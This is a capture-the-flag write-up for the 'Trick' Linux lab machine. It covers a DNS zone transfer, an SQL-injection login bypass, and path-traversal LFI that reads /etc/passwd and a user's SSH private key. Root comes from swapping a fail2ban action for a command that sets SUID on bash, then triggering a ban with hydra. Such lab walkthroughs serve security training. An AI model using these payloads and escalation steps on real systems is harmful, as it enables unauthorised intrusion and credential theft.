Machine Info

Spoiler
Trick is an Easy Linux machine that features a DNS server and a website with a login page vulnerable to SQL Injection. Performing a DNS zone transfer reveals a subdomain, and further subdomain fuzzing exposes another that is vulnerable to Local File Inclusion (LFI). The LFI is leveraged to read an SSH key for a user, and a misconfigured fail2ban action — writable by a group the user belongs to — grants root once a ban is triggered.
Important
A few steps below are not the author-intended path — where that’s the case it’s flagged inline. They reach the same result through a shorter or different route, which is half the fun of enumeration.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 14:12 +0200
Nmap scan report for VICTIM-IP
Host is up (0.0059s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 53 running BIND is the standout here. The version maps to CVE-2021-25220 (forwarder cache poisoning), but the actual foothold comes from a far simpler DNS misconfiguration. First, directory fuzzing on the web app with ffuf:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ffuf -u http://$VICTIM-IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -r  

________________________________________________

 :: Method           : GET
 :: URL              : http://$VICTIM-IP/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : true
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

assets                  [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 5ms]
css                     [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 5ms]
index.html              [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 5ms]
js                      [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 5ms]

Nothing useful on the root site — just a static “Coming Soon” template. The DNS service is the real lead.

DNS Enumeration

A reverse lookup against the box’s own DNS server resolves the domain name:

1
2
└─$ dig +noall +answer -x VICTIM-IP @VICTIM-IP
$VICTIM.in-addr.arpa. 604800 IN  PTR     trick.htb.
Tip
DNS over TCP (53/tcp) hints that zone transfers (AXFR) may be allowed. AXFR is meant for secondary nameservers to replicate the full zone — if it’s open to any client, it dumps every record in one query.

So we attempt the zone transfer:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ dig axfr @VICTIM-IP trick.htb

; <<>> DiG 9.20.22-1-Debian <<>> axfr @VICTIM-IP trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; XFR size: 6 records (messages 1, bytes 231)

We get a new subdomain, preprod-payroll.trick.htb. The root.trick.htb in the SOA is not a subdomain — it’s the admin contact email in DNS notation (first . replaces @). Add both names to the hosts file:

1
echo '$VICTIM-IP trick.htb preprod-payroll.trick.htb' | sudo tee -a /etc/hosts

preprod-payroll

The subdomain serves a Payroll Management System behind a login page. Directory fuzzing maps out the app:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ ffuf -u http://preprod-payroll.trick.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .php -r                   

________________________________________________

 :: Method           : GET
 :: URL              : http://preprod-payroll.trick.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Extensions       : .php 
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

ajax.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 10ms]
assets                  [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 6ms]
database                [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 6ms]
db_connect.php          [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 7ms]
department.php          [Status: 200, Size: 4844, Words: 244, Lines: 179, Duration: 7ms]
employee.php            [Status: 200, Size: 2717, Words: 74, Lines: 96, Duration: 7ms]
header.php              [Status: 200, Size: 2548, Words: 145, Lines: 46, Duration: 4ms]
home.php                [Status: 200, Size: 486, Words: 180, Lines: 27, Duration: 6ms]
index.php               [Status: 200, Size: 5571, Words: 374, Lines: 177, Duration: 6ms]
login.php               [Status: 200, Size: 5571, Words: 374, Lines: 177, Duration: 6ms]
navbar.php              [Status: 200, Size: 1382, Words: 68, Lines: 24, Duration: 5ms]
payroll.php             [Status: 200, Size: 3142, Words: 86, Lines: 111, Duration: 17ms]
position.php            [Status: 200, Size: 5549, Words: 260, Lines: 196, Duration: 8ms]
users.php               [Status: 200, Size: 2197, Words: 103, Lines: 81, Duration: 8ms]

The login form is vulnerable to a classic SQLi auth bypass:

1
2
Username: ' or '1'='1
Password: ' or '1'='1

This logs us in as admin, but the panel itself is largely a rabbit hole. The real takeaway is the naming convention — preprod- — which suggests more virtual hosts following the same pattern.

Subdomain (vHost) Fuzzing

preprod-marketing has no DNS record — it’s served as an nginx virtual host routed by the Host header — so a zone transfer or gobuster dns would miss it entirely. We fuzz the Host header instead.

Important
Note — unintended path. The author-intended route to this subdomain is the payroll SQLi → LOAD_FILE() to read the nginx config → spot the preprod-marketing server block. We skip all of that and find it directly by guessing the preprod- naming pattern and vHost-fuzzing. Same destination, fewer steps.

Build a preprod- prefixed wordlist:

1
2
3
4
sed 's/^/preprod-/' /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt > preprod-wordlist.txt

wc preprod-wordlist.txt 
 4989  4989 73478 preprod-wordlist.txt

Then vhost fuzz, filtering out the default page size (5480):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
└─$ ffuf -u http://trick.htb -H "Host: FUZZ.trick.htb" -w preprod-wordlist.txt -fs 5480

________________________________________________

 :: Method           : GET
 :: URL              : http://trick.htb
 :: Header           : Host: FUZZ.trick.htb
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 5480
________________________________________________

preprod-marketing       [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 14ms]
1
echo '$VICTIM-IP preprod-marketing.trick.htb' | sudo tee -a /etc/hosts
Tip
ffuf -H "Host: FUZZ" fuzzes at the HTTP layer — it finds vHosts the web server routes by Host header, even with no DNS record. gobuster dns fuzzes at the DNS layer — it only finds names with an actual record. On CTF boxes the vHost approach almost always finds more.

preprod-marketing - LFI

The marketing site routes pages through a ?page= parameter — a textbook LFI candidate. Naive ../ is filtered, but a doubled-up ....// traversal bypasses it. We confirm with ffuf against an LFI wordlist:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ ffuf -u http://preprod-marketing.trick.htb/index.php?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0 

________________________________________________

 :: Method           : GET
 :: URL              : http://preprod-marketing.trick.htb/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 6ms]
1
2
3
4
5
6
└─$ curl http://preprod-marketing.trick.htb//index.php?page=....//....//....//etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
michael:x:1001:1001::/home/michael:/bin/bash

A user michael exists. We pull his SSH private key over the same LFI:

1
2
3
4
5
6
7
└─$ curl http://preprod-marketing.trick.htb//index.php?page=....//....//....//home/michael/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
... (snip) ...
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Save the key, fix permissions, and log in over SSH:

1
2
chmod 600 michael_id_rsa
ssh -i michael_id_rsa [email protected]
1
2
3
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:~$ cat user.txt

That is how we get the user.txt.

Root

michael is a member of the security group (note it from the id output above). Checking sudo -l:

1
2
3
4
5
6
7
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

So michael can restart fail2ban as root, and fail2ban runs its action scripts as root when a ban fires. Reference for the technique: https://infosecwriteups.com/fail2ban-privilege-escalation-5de164aff6f3

The security group has write access to the action directory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
michael@trick:/etc/fail2ban/action.d$ ls -al
total 284
drwxrwx--- 2 root security  4096 Jun  5 16:39 .
drwxr-xr-x 6 root root      4096 Jun  5 16:39 ..
-rw-r--r-- 1 root root      1485 Jun  5 16:39 ipfilter.conf
-rw-r--r-- 1 root root      1417 Jun  5 16:39 ipfw.conf
-rw-r--r-- 1 root root      1426 Jun  5 16:39 iptables-allports.conf
-rw-r--r-- 1 root root      2738 Jun  5 16:39 iptables-common.conf
-rw-r--r-- 1 root root      1339 Jun  5 16:39 iptables.conf
-rw-r--r-- 1 root root      2082 Jun  5 16:39 iptables-multiport-log.conf
...

The default banaction in jail.conf is iptables-multiport, so a ban runs iptables-multiport.conf. We can’t edit that file (owned by root), but action.d/ is group-writable — so we delete the file and replace it with our own.

Tip
A writable directory beats a read-only file. Even without write access on a file, write access on its parent directory lets you rm it and recreate it with content you control.

We set actionban to flip the SUID bit on bash:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
cd /etc/fail2ban/action.d/
cp iptables-multiport.conf /tmp/iptables-multiport.conf.bak
rm iptables-multiport.conf

cat > iptables-multiport.conf << 'EOF'
[Definition]
actionstart =
actionstop =
actioncheck =
actionban = chmod u+s /bin/bash
actionunban =
EOF
Tip
Heredoc with a quoted 'EOF' writes the file verbatim — no shell expansion of $ or backticks inside the block. Ideal for dropping config without an editor.

Restart fail2ban so it loads the modified action:

1
2
michael@trick:~$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

Now trigger a ban. From the attacker box, brute the SSH jail until fail2ban bans us — that fires actionban as root:

1
└─$ hydra -l michael -P /usr/share/seclists/Passwords/Most-Popular-Letter-Passes.txt ssh://trick.htb -t 4

Watch for the SUID bit to land on /bin/bash, then spawn a privileged shell with -p:

1
2
3
4
5
michael@trick:/etc/fail2ban$ watch -n 0 ls -al /bin/bash
michael@trick:/etc/fail2ban$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt

This is how we get root.